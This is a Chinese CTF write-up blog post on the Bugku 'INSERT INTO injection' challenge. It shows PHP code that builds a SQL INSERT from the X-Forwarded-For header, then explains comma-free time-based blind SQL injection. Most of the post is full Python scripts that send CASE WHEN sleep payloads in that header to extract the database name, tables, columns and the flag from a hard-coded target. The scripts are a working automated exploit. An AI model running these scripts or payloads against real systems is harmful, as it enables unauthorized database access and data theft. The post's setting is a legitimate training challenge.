Bugku INSERT-INTO注入

原创

ChanCherry、 于 2019-11-20 00:39:14 发布 132 收藏

分类专栏： CTF WP 文章标签： web

本文链接：https://blog.csdn.net/ITmincherry/article/details/103153132

版权

CTF WP 专栏收录该内容

24 篇文章 1 订阅

订阅专栏

```
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
```

题目给了源码，简单分析下知道是读取HTTP头部的X_FORWARDED_FOR作为ip，在将其传给$ip前，用explode()函数以,为分割符分割并取结果数组的第一项。

要进行注入的语句是：

```
insert into client_ip (ip) values ('$ip')
```

很明显，这是一道过滤了逗号的xff注入题目，由于返回结果无有效回显，可以进行时间盲注。
后面的就不会了55555

下面是大佬的wp:

我看到网络上有些writeup在猜解flag时直接得知了它在flag表的flag列，也许是一种巧妙的猜测？猜不到就只能通过information_schema数据库慢慢猜解表和列了。

一些知识点：

1. 元数据在sql注入中的应用，即informations_schema库中的SCHEMATA、TABLES、COLUMNS表中存储着数据库系统中数据库、表、列的信息。
2. MySQL中的case when语句。进行时间盲注时自然想到的是if(cond,expr1,expr2)语句，但是此处对逗号进行了过滤，因此采用case when 代替if进行时间盲注。
3. substr截取字符串的非逗号形式。进行时间盲注要穷举字符，需要通过substr截取字符串，但是常用的形式substr([str],[from],[len])含有逗号，因此采用substr([str] from [from] for [len])来代替，比如substr(‘asd’,1,2)与substr(‘asd’ from 1 for 2)都获得’as’。
4. limit的非逗号形式。有时一条语句可以查询出多个结果，进行一一猜解时要每次限制查询出一条结果，在不使用逗号时，用limit [len] offset [offset] 代替 limit [offset],[len]。

下面是猜解代码，可以通过改写为多线程/进程提高网络io速度，可以通过提高sleep及timeout时间提高准确度。
猜解库和表：

```python
import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
#猜解数据库名称的payload
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1"
#猜解表数量的payload
payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1"
#猜解表名字长度的payload，注：其实也可不猜解长度，直接猜解具体字符，当发现名称字符串不变时(即不再捕获到ReadTimeout异常添加字符时)说明猜解完成
payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1"
#猜解表名字的payload
payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"
url = 'http://123.206.87.240:8002/web15/'

db_name = ''
#数据库名破解
for i in range(1,6):
    for j in dic:
        try:
            headers = {'x-forwarded-for':payload_db.format(i,j)}
            res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
            print(payload_db.format(i,j))
            db_name += j
            break
print('db_name: ' + db_name) #运行后可知数据库名为web15
#表数量破解
tb_num = 0
```

```python
for i in range(1,50):
    try:
        headers = {'x-forwarded-for':payload_tb_num.format(db_name,str(i))}
        res = requests.get(url,headers=headers,timeout=5)
    except requests.exceptions.ReadTimeout:
        tb_num = i
        print('tb_num: '+str(i))
        break
#运行后可知有两个表
#表名破解
len = 0
for i in range(tb_num):
    #crack length first
    for j in range(50):
        try:
            headers = {'x-forwarded-for':payload_tb_name_len.format(db_name,i,j)}
            res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
            len = j
            break
    print('No.'+str(i+1)+' table has length: ' + str(len))
    #crack name
    tb_name = ''
    for k in range(1,len + 1):
        for j in dic:
            try:
                headers = {'x-forwarded-for':payload_tb_name.format(db_name,i,k,j)}
                res = requests.get(url,headers=headers,timeout=5)
            except requests.exceptions.ReadTimeout:
                print(payload_tb_name.format(db_name,i,k,j))
                tb_name += j
                break
        print(tb_name)
 #运行后可知两个表为flag和client_ip
```

猜解列：

```python
import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'

#crack column number 运行后可知仅有1列
target_db = 'web15'
target_tb = 'flag'
col_num = 0
payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1"
payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1"
payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"
for i in range(50):
    try:
        headers = {'x-forwarded-for':payload_col_num.format(target_db,target_tb,i)}
        res = requests.get(url,headers=headers,timeout=5)
    except requests.exceptions.ReadTimeout:
        col_num = i
        print('col_num=' + str(col_num))
        break
#crack column name
len = 0
for i in range (col_num):
    #crack column length 运行后可知长度为4
    for j in range(50):
        try:
            headers = {'x-forwarded-for':payload_col_len.format(target_db,target_tb,i,j)}
            res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
            len = j
            print('No.' + str(i+1) + ' length : ' + str(len))
            break
    #crack name 运行后可知列名字为flag
    col_name = ''
    for k in range(1,len + 1):
        for j in dic:
            try:
                headers = {'x-forwarded-for':payload_col_name.format(target_db,target_tb,i,k,j)}
                res = requests.get(url,headers=headers,timeout=5)
            except requests.exceptions.ReadTimeout:
                col_name += j
                print(col_name)
                break
```

猜解flag：

```python
import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'

#get content 猜解flag
flag = ''
paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1"
for i in range(1,100):
    for j in dic:
        try:
            headers = {'x-forwarded-for':paylaod_content.format(i,j)}
            res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
            print(paylaod_content.format(i,j))
            flag += j
            break
    print(flag)
```

后面附上大佬们的wp链接：

bugku—INSERT INTO注入解答 - Just for funnnnnnnnnnn - CSDN博客

bugku web题INSERT INTO注入 - sijidou - 博客园